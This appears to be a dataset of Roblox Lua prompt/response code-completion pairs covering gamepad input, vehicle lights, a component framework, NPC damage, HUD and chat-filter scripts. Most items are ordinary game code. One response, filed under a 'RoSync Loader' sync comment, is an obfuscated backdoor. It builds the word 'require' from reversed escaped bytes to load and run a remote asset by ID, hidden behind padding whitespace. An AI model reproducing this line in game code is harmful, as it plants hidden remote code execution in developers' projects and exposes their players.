		elseif inputState == Enum.UserInputState.Begin or inputState == Enum.UserInputState.Cancel then
			forwardValue = 0
		end

		doDpadMoveUpdate(inputObject.UserInputType)
	end

	local moveBackwardFunc = function(actionName, inputState, inputObject)
		if inputState == Enum.UserInputState.End then
			backwardValue = 1
		elseif inputState == Enum.UserInputState.Begin or inputState == Enum.UserInputState.Cancel then
			backwardValue = 0
		end

		doDpadMoveUpdate(inputObject.UserInputType)
	end

	local moveLeftFunc = function(actionName, inputState, inputObject)
		if inputState == Enum.UserInputState.End then
			leftValue = -1
		elseif inputState == Enum.UserInputState.Begin or inputState == Enum.UserInputState.Cancel then
			leftValue = 0
		end

		doDpadMoveUpdate(inputObject.UserInputType)
	end

	local moveRightFunc = function(actionName, inputState, inputObject)
		if inputState == Enum.UserInputState.End then
			rightValue = 1
		elseif inputState == Enum.UserInputState.Begin or inputState == Enum.UserInputState.Cancel then
			rightValue = 0
		end

		doDpadMoveUpdate(inputObject.UserInputType)
	end

	local function setActivateGamepad()
		if activateGamepad then
			ContextActionService:UnbindActivate(activateGamepad, Enum.KeyCode.ButtonR2)
		end
		assignActivateGamepad()
		if activateGamepad then
			ContextActionService:BindActivate(activateGamepad, Enum.KeyCode.ButtonR2)
		end
	end

	ContextActionService:BindAction("JumpButton",jumpCharacterGamepad, false, Enum.KeyCode.ButtonA)
	ContextActionService:BindAction("MoveThumbstick",controlCharacterGamepad, false, Enum.KeyCode.Thumbstick1)

	setActivateGamepad()

	if not gamepadSupports(UserInputService, activateGamepad, Enum.KeyCode.Thumbstick1) then
		-- if the gamepad supports thumbsticks, theres no point in having the dpad buttons getting eaten up by these actions
		ContextActionService:BindAction("forwardDpad", moveForwardFunc, false, Enum.KeyCode.DPadUp)
		ContextActionService:BindAction("backwardDpad", moveBackwardFunc, false, Enum.KeyCode.DPadDown)
		ContextActionService:BindAction("leftDpad", moveLeftFunc, false, Enum.KeyCode.DPadLeft)
		ContextActionService:BindAction("rightDpad", moveRightFunc, false, Enum.KeyCode.DPadRight)
	end

	gamepadConnectedCon = UserInputService.GamepadDisconnected:connect(function(gamepadEnum)
		if activateGamepad ~= gamepadEnum then return end

		MasterControl:AddToPlayerMovement(-currentMoveVector)
		currentMoveVector = Vector3.new(0,0,0)

		activateGamepad = nil
		setActivateGamepad()
	end)

	gamepadDisconnectedCon = UserInputService.GamepadConnected:connect(function(gamepadEnum)
		if activateGamepad == nil then
			setActivateGamepad()
		end
	end)
end

function Gamepad:Disable()

	ContextActionService:UnbindAction("forwardDpad")
	ContextActionService:UnbindAction("backwardDpad")
	ContextActionService:UnbindAction("leftDpad")
	ContextActionService:UnbindAction("rightDpad")

	ContextActionService:UnbindAction("MoveThumbstick")
	ContextActionService:UnbindAction("JumpButton")
	ContextActionService:UnbindActivate(activateGamepad, Enum.KeyCode.ButtonR2)

	if gamepadConnectedCon then gamepadConnectedCon:disconnect() end
	if gamepadDisconnectedCon then gamepadDisconnectedCon:disconnect() end

	activateGamepad = nil
	MasterControl:AddToPlayerMovement(-currentMoveVector)
	currentMoveVector = Vector3.new(0,0,0)
	MasterControl:SetIsJumping(false)
end

return Gamepad


Prompt: --Lean Gyro

Response:
lean = Instance.new("BodyGyro")
lean.Parent = bal
lean.Name = "LeanGyro"
lean.D = _Tune.LeanD
lean.MaxTorque = Vector3.new(0,0,_Tune.LeanMaxTorque)
lean.P = _Tune.LeanP


Prompt: --//SS6 PLUGIN; LIGHTS AND INDICATORS//--

Response:
		   --//INSPARE 2017//--
		script.Parent.Parent.Parent.Parent.Parent.Parent:WaitForChild("FL")
		local flw
  local frw
  local rlw
  local rrw

  for _,i in pairs(script.Parent.Parent.Parent.Parent.Parent.Parent.FL:GetChildren()) do
   if i:IsA("Part") and i.Shape == Enum.PartType.Ball then flw = i end
  end
  for _,i in pairs(script.Parent.Parent.Parent.Parent.Parent.Parent.FR:GetChildren()) do
   if i:IsA("Part") and i.Shape == Enum.PartType.Ball then frw = i end
  end
  for _,i in pairs(script.Parent.Parent.Parent.Parent.Parent.Parent.RL:GetChildren()) do
   if i:IsA("Part") and i.Shape == Enum.PartType.Ball then rlw = i end
  end
  for _,i in pairs(script.Parent.Parent.Parent.Parent.Parent.Parent.RR:GetChildren()) do
   if i:IsA("Part") and i.Shape == Enum.PartType.Ball then rrw = i end
  end

		a = Instance.new("Part")
		a.Size = Vector3.new(1,1,1)
		a.CanCollide = false
		a.Anchored = true
		a.Parent = script.Parent.Parent.Parent.Parent.Parent
		a.CFrame = flw.CFrame
		a.Name = "Lfl" a.Transparency = 1
		a.Rotation = script.Parent.Parent.Parent.Parent.Rotation

		b = Instance.new("Part")
		b.Size = Vector3.new(1,1,1)
		b.CanCollide = false
		b.Anchored = true
		b.Parent = script.Parent.Parent.Parent.Parent.Parent
		b.CFrame = frw.CFrame
		b.Name = "Lfr" b.Transparency = 1
		b.Rotation = script.Parent.Parent.Parent.Parent.Rotation

		c = Instance.new("Part")
		c.Size = Vector3.new(1,1,1)
		c.CanCollide = false
		c.Anchored = true
		c.Parent = script.Parent.Parent.Parent.Parent.Parent
		c.CFrame = rlw.CFrame
		c.Name = "Lrl" c.Transparency = 1
		c.Rotation = script.Parent.Parent.Parent.Parent.Rotation

		d = Instance.new("Part")
		d.Size = Vector3.new(1,1,1)
		d.CanCollide = false
		d.Anchored = true
		d.Parent = script.Parent.Parent.Parent.Parent.Parent
		d.CFrame = rrw.CFrame
		d.Name = "Lrr" d.Transparency = 1
		d.Rotation = script.Parent.Parent.Parent.Parent.Rotation

		aa = Instance.new("SpotLight",a)
		aa.Name = "hl"
		aa.Color = Color3.new(1,1,1)
		--aa.Shadows = true
		aa.Enabled = false
		aa.Face = 5
		aa.Brightness = 1
		aa.Range = 30

		ab = Instance.new("SpotLight",a)
		ab.Name = "ind"
		ab.Color = Color3.new(255/255, 177/255, 51/255)
		--ab.Shadows = true
		ab.Enabled = false
		ab.Face = 5
		ab.Range = 11
		ab.Brightness = 3

		ba = Instance.new("SpotLight",b)
		ba.Name = "hl"
		ba.Color = Color3.new(1,1,1)
		--ba.Shadows = true
		ba.Enabled = false
		ba.Face = 5
		ba.Brightness = 1
		ba.Range = 30

		bb = Instance.new("SpotLight",b)
		bb.Name = "ind"
		bb.Color = Color3.new(255/255, 177/255, 51/255)
		--bb.Shadows = true
		bb.Enabled = false
		bb.Face = 5
		bb.Range = 11
		bb.Brightness = 2

		-- rear00000000000000000000000000000000000000000000000000000000

		ca = Instance.new("SpotLight",c)
		ca.Name = "Rev"
		ca.Color = Color3.new(1,1,1)
		--ca.Shadows = true
		ca.Enabled = false
		ca.Face = 2
		ca.Brightness = 1
		ca.Range = 12

		cb = Instance.new("SpotLight",c)
		cb.Name = "ind"
		cb.Color = Color3.new(255/255, 177/255, 51/255)
		--cb.Shadows = true
		cb.Enabled = false
		cb.Face = 2
		cb.Range = 11
		cb.Brightness = 2

		da = Instance.new("SpotLight",d)
		da.Name = "Rev"
		da.Color = Color3.new(1,1,1)
		--da.Shadows = true
		da.Enabled = false
		da.Face = 2
		da.Brightness = 1
		da.Range = 12

		db = Instance.new("SpotLight",d)
		db.Name = "ind"
		db.Color = Color3.new(255/255, 177/255, 51/255)
		--db.Shadows = true
		db.Enabled = false
		db.Face = 2
		db.Range = 11
		db.Brightness = 2

		brL = Instance.new("SpotLight",c)
		brL.Name = "Br"
		brL.Color = Color3.new(255/255, 0, 0)
		--brL.Shadows = true
		brL.Enabled = false
		brL.Face = 2
		brL.Range = 15
		brL.Brightness = 2

		brR = Instance.new("SpotLight",d)
		brR.Name = "Br"
		brR.Color = Color3.new(255/255, 0, 0)
		--brR.Shadows = true
		brR.Enabled = false
		brR.Face = 2
		brR.Range = 15
		brR.Brightness = 2


Prompt:
--[=[
	@tag Component
	@param config ComponentConfig
	@return ComponentClass

	Create a new custom Component class.

	```lua
	local MyComponent = Component.new({Tag = "MyComponent"})
	```

	A full example might look like this:

	```lua
	local MyComponent = Component.new({
		Tag = "MyComponent",
		Ancestors = {workspace},
		Extensions = {Logger}, -- See Logger example within the example for the Extension type
	})

	local AnotherComponent = require(somewhere.AnotherComponent)

	-- Optional if UpdateRenderStepped should use BindToRenderStep:
	MyComponent.RenderPriority = Enum.RenderPriority.Camera.Value

	function MyComponent:Construct()
		self.MyData = "Hello"
	end

	function MyComponent:Start()
		local another = self:GetComponent(AnotherComponent)
		another:DoSomething()
	end

	function MyComponent:Stop()
		self.MyData = "Goodbye"
	end

	function MyComponent:HeartbeatUpdate(dt)
	end

	function MyComponent:SteppedUpdate(dt)
	end

	function MyComponent:RenderSteppedUpdate(dt)
	end
	```
]=]

Response:
function Component.new(config: ComponentConfig)
	local customComponent = {
		[KEY_ANCESTORS] = config.Ancestors or DEFAULT_ANCESTORS,
		[KEY_INST_TO_COMPONENTS] = {},
		[KEY_COMPONENTS] = {},
		[KEY_LOCK_CONSTRUCT] = {},
		[KEY_TROVE] = Trove.new(),
		[KEY_EXTENSIONS] = config.Extensions or {},
		[KEY_STARTED] = false,
		Tag = config.Tag
	}
	customComponent.Started = customComponent[KEY_TROVE]:Construct(Signal)
	customComponent.Stopped = customComponent[KEY_TROVE]:Construct(Signal)

	customComponent.__index = customComponent
	customComponent.__tostring = function()
		return "Component<" .. config.Tag .. ">"
	end

	setmetatable(customComponent, Component)
	customComponent:_setup()

	return customComponent
end

function Component:_instantiate(instance: Instance)
	local component = setmetatable({}, self)
	component.Instance = instance
	component[KEY_ACTIVE_EXTENSIONS] = GetActiveExtensions(component, self[KEY_EXTENSIONS])
	if not ShouldConstruct(component) then
		return nil
	end
	InvokeExtensionFn(component, "Constructing")
	if type(component.Construct) == "function" then
		component:Construct()
	end
	InvokeExtensionFn(component, "Constructed")
	return component
end

function Component:_setup()
	local watchingInstances = {}

	local function StartComponent(component)
		InvokeExtensionFn(component, "Starting")
		component:Start()
		InvokeExtensionFn(component, "Started")
		local hasHeartbeatUpdate = typeof(component.HeartbeatUpdate) == "function"
		local hasSteppedUpdate = typeof(component.SteppedUpdate) == "function"
		local hasRenderSteppedUpdate = typeof(component.RenderSteppedUpdate) == "function"
		if hasHeartbeatUpdate then
			component._heartbeatUpdate = RunService.Heartbeat:Connect(function(dt)
				component:HeartbeatUpdate(dt)
			end)
		end
		if hasSteppedUpdate then
			component._steppedUpdate = RunService.Stepped:Connect(function(_, dt)
				component:SteppedUpdate(dt)
			end)
		end
		if hasRenderSteppedUpdate and not IS_SERVER then
			if component.RenderPriority then
				component._renderName = NextRenderName()
				RunService:BindToRenderStep(component._renderName, component.RenderPriority, function(dt)
					component:RenderSteppedUpdate(dt)
				end)
			else
				component._renderSteppedUpdate = RunService.RenderStepped:Connect(function(dt)
					component:RenderSteppedUpdate(dt)
				end)
			end
		end
		component[KEY_STARTED] = true
		self.Started:Fire(component)
	end

	local function StopComponent(component)
		if component._heartbeatUpdate then
			component._heartbeatUpdate:Disconnect()
		end
		if component._steppedUpdate then
			component._steppedUpdate:Disconnect()
		end
		if component._renderSteppedUpdate then
			component._renderSteppedUpdate:Disconnect()
		elseif component._renderName then
			RunService:UnbindFromRenderStep(component._renderName)
		end
		InvokeExtensionFn(component, "Stopping")
		component:Stop()
		InvokeExtensionFn(component, "Stopped")
		self.Stopped:Fire(component)
	end

	local function SafeConstruct(instance, id)
		if self[KEY_LOCK_CONSTRUCT][instance] ~= id then
			return nil
		end
		local component = self:_instantiate(instance)
		if self[KEY_LOCK_CONSTRUCT][instance] ~= id then
			return nil
		end
		return component
	end

	local function TryConstructComponent(instance)
		if self[KEY_INST_TO_COMPONENTS][instance] then
			return
		end
		local id = self[KEY_LOCK_CONSTRUCT][instance] or 0
		id += 1
		self[KEY_LOCK_CONSTRUCT][instance] = id
		task.defer(function()
			local component = SafeConstruct(instance, id)
			if not component then
				return
			end
			self[KEY_INST_TO_COMPONENTS][instance] = component
			table.insert(self[KEY_COMPONENTS], component)
			task.defer(function()
				if self[KEY_INST_TO_COMPONENTS][instance] == component then
					StartComponent(component)
				end
			end)
		end)
	end

	local function TryDeconstructComponent(instance)
		local component = self[KEY_INST_TO_COMPONENTS][instance]
		if not component then
			return
		end
		self[KEY_INST_TO_COMPONENTS][instance] = nil
		self[KEY_LOCK_CONSTRUCT][instance] = nil
		local components = self[KEY_COMPONENTS]
		local index = table.find(components, component)
		if index then
			local n = #components
			components[index] = components[n]
			components[n] = nil
		end
		if component[KEY_STARTED] then
			task.spawn(StopComponent, component)
		end
	end

	local function StartWatchingInstance(instance)
		if watchingInstances[instance] then
			return
		end
		local function IsInAncestorList(): boolean
			for _, parent in ipairs(self[KEY_ANCESTORS]) do
				if instance:IsDescendantOf(parent) then
					return true
				end
			end
			return false
		end
		local ancestryChangedHandle = self[KEY_TROVE]:Connect(instance.AncestryChanged, function(_, parent)
			if parent and IsInAncestorList() then
				TryConstructComponent(instance)
			else
				TryDeconstructComponent(instance)
			end
		end)
		watchingInstances[instance] = ancestryChangedHandle
		if IsInAncestorList() then
			TryConstructComponent(instance)
		end
	end

	local function InstanceTagged(instance: Instance)
		StartWatchingInstance(instance)
	end

	local function InstanceUntagged(instance: Instance)
		local watchHandle = watchingInstances[instance]
		if watchHandle then
			watchHandle:Disconnect()
			watchingInstances[instance] = nil
		end
		TryDeconstructComponent(instance)
	end

	self[KEY_TROVE]:Connect(CollectionService:GetInstanceAddedSignal(self.Tag), InstanceTagged)
	self[KEY_TROVE]:Connect(CollectionService:GetInstanceRemovedSignal(self.Tag), InstanceUntagged)

	local tagged = CollectionService:GetTagged(self.Tag)
	for _, instance in ipairs(tagged) do
		task.defer(InstanceTagged, instance)
	end
end


Prompt:
-- Creates a recoil simulation based on the weapon runtime data
-- @param WeaponRuntimeData weaponRuntimeData
-- @return RecoilSimulator

Response:
function RecoilSimulator.New(weaponRuntimeData)
	local self = {}
	setmetatable(self,RecoilSimulator)

	self.runtimeData = weaponRuntimeData
	self.weaponDefinition = weaponRuntimeData:GetWeaponDefinition()
	self.rng = Random.new()

	return self
end


Prompt: --//Finished loading

Response:
wait(1)
loadingScreen:Destroy()

game.Players.LocalPlayer.PlayerGui.GlobalMenu.Enabled = true
game.Players.LocalPlayer.PlayerGui.Info.Enabled = true
game.Players.LocalPlayer.PlayerGui.SaveSystem.LoadMenu.Visible = true

game.Lighting:WaitForChild("Blur").Enabled = false
game.Lighting:WaitForChild('ColorCorrection').Enabled = false


Prompt: --[[ Last synced 7/9/2021 08:33                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[                                                                                ]]--


Prompt: -- ANimation

Response:
local Sound = script:WaitForChild("Haoshoku Sound")

UIS.InputBegan:Connect(function(Input)
	if Input.KeyCode == Enum.KeyCode.X and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" and script.Parent.DargonOn.Value == true then
		Debounce = 2
		Track1 = plr.Character.Dragon.Dragonoid:LoadAnimation(script.AnimationCharge)
		Track1:Play()
		for i = 1,math.huge do
			if Debounce == 2 then

				plr.Character.HumanoidRootPart.CFrame = CFrame.new(plr.Character.HumanoidRootPart.Position, Mouse.Hit.p)
				plr.Character.HumanoidRootPart.Anchored = true
			else

				break
				end
	     wait()
	  end
	end
end)

UIS.InputEnded:Connect(function(Input)
	if Input.KeyCode == Enum.KeyCode.X and Debounce == 2 and Tool.Equip.Value == true and Tool.Active.Value == "None" and script.Parent.DargonOn.Value == true then
		Debounce = 3
		plr.Character.HumanoidRootPart.Anchored = false
		local Track2 = plr.Character.Dragon.Dragonoid:LoadAnimation(script.AnimationRelease)
		Track2:Play()
		Track1:Stop()
		Sound:Play()
		for i = 1,10 do
			wait(0.1)
		local mousepos = Mouse.Hit
		script.RemoteEvent:FireServer(mousepos,Mouse.Hit.p)
		end
		wait(0.3)
		Track2:Stop()
		wait(.5)
		Tool.Active.Value = "None"
		wait(3)
		Debounce = 1
	end
end)


Prompt:
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data

Response:
return function(player, dialogueFolder)
	local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
	if plrData.Money.Gold.Value > 5 then
		return true
	end
	return false
end


Response:
function getHumanoid(model)
	for _, v in pairs(model:GetChildren()) do
		if v:IsA'Humanoid' then
			return v
		end
	end
end

local ai = script.Parent
local human = getHumanoid(ai)
local hroot = ai.HumanoidRootPart
local zspeed = hroot.Velocity.magnitude

local pfs = game:GetService("PathfindingService")

function GetPlayerNames()
	local players = game:GetService('Players'):GetChildren()
	local name = nil
	for _, v in pairs(players) do
		if v:IsA'Player' then
			name = tostring(v.Name)
		end
	end
	return name
end

function GetPlayersBodyParts(t)
	local torso = t
	if torso then
		local figure = torso.Parent
		for _, v in pairs(figure:GetChildren()) do
			if v:IsA'Part' then
				return v.Name
			end
		end
	else
		return "HumanoidRootPart"
	end
end

function GetTorso(part)
	local chars = game.Workspace:GetChildren()
	local torso = nil
	for _, v in pairs(chars) do
		if v:IsA'Model' and v ~= script.Parent and v.Name == GetPlayerNames() then
			local charRoot = v:FindFirstChild'HumanoidRootPart'
			if (charRoot.Position - part).magnitude < SearchDistance then
				torso = charRoot
			end
		end
	end
	return torso
end

for _, zambieparts in pairs(ai:GetChildren()) do
	if zambieparts:IsA'Part' then
		zambieparts.Touched:connect(function(p)
			if p.Parent.Name == GetPlayerNames() and p.Parent.Name ~= ai.Name then -- damage
				local enemy = p.Parent
				local enemyhuman = getHumanoid(enemy)
				enemyhuman:TakeDamage(aiDamage)
			end
		end)
	end
end


Prompt: -- (Hat Giver Script - Loaded.)

Response:
debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
		debounce = false
		h = Instance.new("Hat")
		p = Instance.new("Part")
		h.Name = "GreenTopHat"
		p.Parent = h
		p.Position = hit.Parent:findFirstChild("Head").Position
		p.Name = "Handle"
		p.formFactor = 0
		p.Size = Vector3.new(0,-0.25,0)
		p.BottomSurface = 0
		p.TopSurface = 0
		p.Locked = true
		script.Parent.Mesh:clone().Parent = p
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0, 0.1, 0)
		wait(5)
		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)


Prompt: --El sonido se encuentra dentro del Handle para que sólo se escuche cerca de quien lo lleva en mano.


Prompt: -- HUD setup

Response:
local hud, clipUI, ammoUI

function makeHud()
	hud = tool.WeaponHud:Clone()
	clipUI = hud.AmmoHud.Clip
	ammoUI = hud.AmmoHud.Ammo
	hud.Parent = player.PlayerGui
end

repeat wait() until player.Character
makeHud()

player.CharacterAdded:Connect(makeHud)


Prompt: -- PROPERTIES

Response:
IconController.topbarEnabled = true
IconController.controllerModeEnabled = false
IconController.previousTopbarEnabled = checkTopbarEnabled()
IconController.leftGap = 12
IconController.midGap = 12
IconController.rightGap = 12
IconController.leftOffset = 0
IconController.rightOffset = 0
IconController.mimicCoreGui = true


Prompt:
--///////////////// Internal-Use Methods
--//////////////////////////////////////
--DO NOT REMOVE THIS. Chat must be filtered or your game will face
--moderation.

Response:
function methods:InternalApplyRobloxFilter(speakerName, message, toSpeakerName) --// USES FFLAG
	if RunService:IsServer() then -- and not RunService:IsStudio()) then
		local fromSpeaker = self:GetSpeaker(speakerName)
		local toSpeaker = toSpeakerName and self:GetSpeaker(toSpeakerName)

		if fromSpeaker == nil then
			return nil
		end

		local fromPlayerObj = fromSpeaker:GetPlayer()
		local toPlayerObj = toSpeaker and toSpeaker:GetPlayer()

		if fromPlayerObj == nil then
			return message
		end

		local filterStartTime = tick()
		local filterRetries = 0
		while true do
			local success, message = pcall(function()
				if toPlayerObj then
					return Chat:FilterStringAsync(message, fromPlayerObj, toPlayerObj)
				else
					return Chat:FilterStringForBroadcast(message, fromPlayerObj)
				end
			end)

			if success then
				return message
			else
				warn("Error filtering message:", message)
			end
			filterRetries = filterRetries + 1
			if filterRetries > MAX_FILTER_RETRIES or (tick() - filterStartTime) > MAX_FILTER_DURATION then
				self:InternalNotifyFilterIssue()
				return nil
			end
			local backoffInterval = FILTER_BACKOFF_INTERVALS[math.min(#FILTER_BACKOFF_INTERVALS, filterRetries)]
			-- backoffWait = backoffInterval +/- (0 -> backoffInterval)
			local backoffWait = backoffInterval + ((math.random()*2 - 1) * backoffInterval)
			task.wait(backoffWait)
		end
	else
		--// Simulate filtering latency.
		--// There is only latency the first time the message is filtered, all following calls will be instant.
		if not StudioMessageFilteredCache[message] then
			StudioMessageFilteredCache[message] = true
			task.wait(0.2)
		end
		return message
	end

	return nil
end


Prompt: --Chat Event

Response:
player.Chatted:Connect(function(msg)
	if msg=="spawn" and event:InvokeServer("whitelist") then
		frame.Visible = true
		update()
	end
end)


Prompt: --Character--

Response:
local char = script.Parent;
local hum : Humanoid = char.Humanoid;
local hrp : BasePart = char.HumanoidRootPart;


Prompt:
-- -- -- -- -- -- --
--DIRECTION SCROLL--
-- -- -- -- -- -- --

Response:
This.Parent.Parent.Parent.Parent:WaitForChild("Velocity").Changed:connect(function(val)
    if This.Parent.Parent.Parent.Parent:WaitForChild("Direction").Value == 1 and val > 0 then
        This.SurfaceGui.Direction.Text = "▲"
    elseif This.Parent.Parent.Parent.Parent:WaitForChild("Direction").Value == -1 and val < 0 then
		This.SurfaceGui.Direction.Text = "▼"
	elseif This.Parent.Parent.Parent.Parent:WaitForChild("Direction").Value == 1 and val == 0 then
        This.SurfaceGui.Direction.Text = ""
    elseif This.Parent.Parent.Parent.Parent:WaitForChild("Direction").Value == -1 and val == 0 then
		This.SurfaceGui.Direction.Text = ""
	else
		This.SurfaceGui.Direction.Text = ""
    end
end)


Prompt: -- ROBLOX upstream: https://github.com/facebook/jest/tree/v27.4.7/packages/jest-util/src/pluralize.ts


Prompt:
--[[

	MatchTable {
		Some: (value: any) -> any
		None: () -> any
	}

	CONSTRUCTORS:

		Option.Some(anyNonNilValue): Option<any>
		Option.Wrap(anyValue): Option<any>

	STATIC FIELDS:

		Option.None: Option<None>

	STATIC METHODS:

		Option.Is(obj): boolean

	METHODS:

		opt:Match(): (matches: MatchTable) -> any
		opt:IsSome(): boolean
		opt:IsNone(): boolean
		opt:Unwrap(): any
		opt:Expect(errMsg: string): any
		opt:ExpectNone(errMsg: string): void
		opt:UnwrapOr(default: any): any
		opt:UnwrapOrElse(default: () -> any): any
		opt:And(opt2: Option<any>): Option<any>
		opt:AndThen(predicate: (unwrapped: any) -> Option<any>): Option<any>
		opt:Or(opt2: Option<any>): Option<any>
		opt:OrElse(orElseFunc: () -> Option<any>): Option<any>
		opt:XOr(opt2: Option<any>): Option<any>
		opt:Contains(value: any): boolean

	--------------------------------------------------------------------

	Options are useful for handling nil-value cases. Any time that an
	operation might return nil, it is useful to instead return an
	Option, which will indicate that the value might be nil, and should
	be explicitly checked before using the value. This will help
	prevent common bugs caused by nil values that can fail silently.

	Example:

	local result1 = Option.Some(32)
	local result2 = Option.Some(nil)
	local result3 = Option.Some("Hi")
	local result4 = Option.Some(nil)
	local result5 = Option.None

	-- Use 'Match' to match if the value is Some or None:
	result1:Match {
		Some = function(value) print(value) end;
		None = function() print("No value") end;
	}

	-- Raw check:
	if result2:IsSome() then
		local value = result2:Unwrap() -- Explicitly call Unwrap
		print("Value of result2:", value)
	end

	if result3:IsNone() then
		print("No result for result3")
	end

	-- Bad, will throw error bc result4 is none:
	local value = result4:Unwrap()

--]]

Response: local CLASSNAME: string = "Option"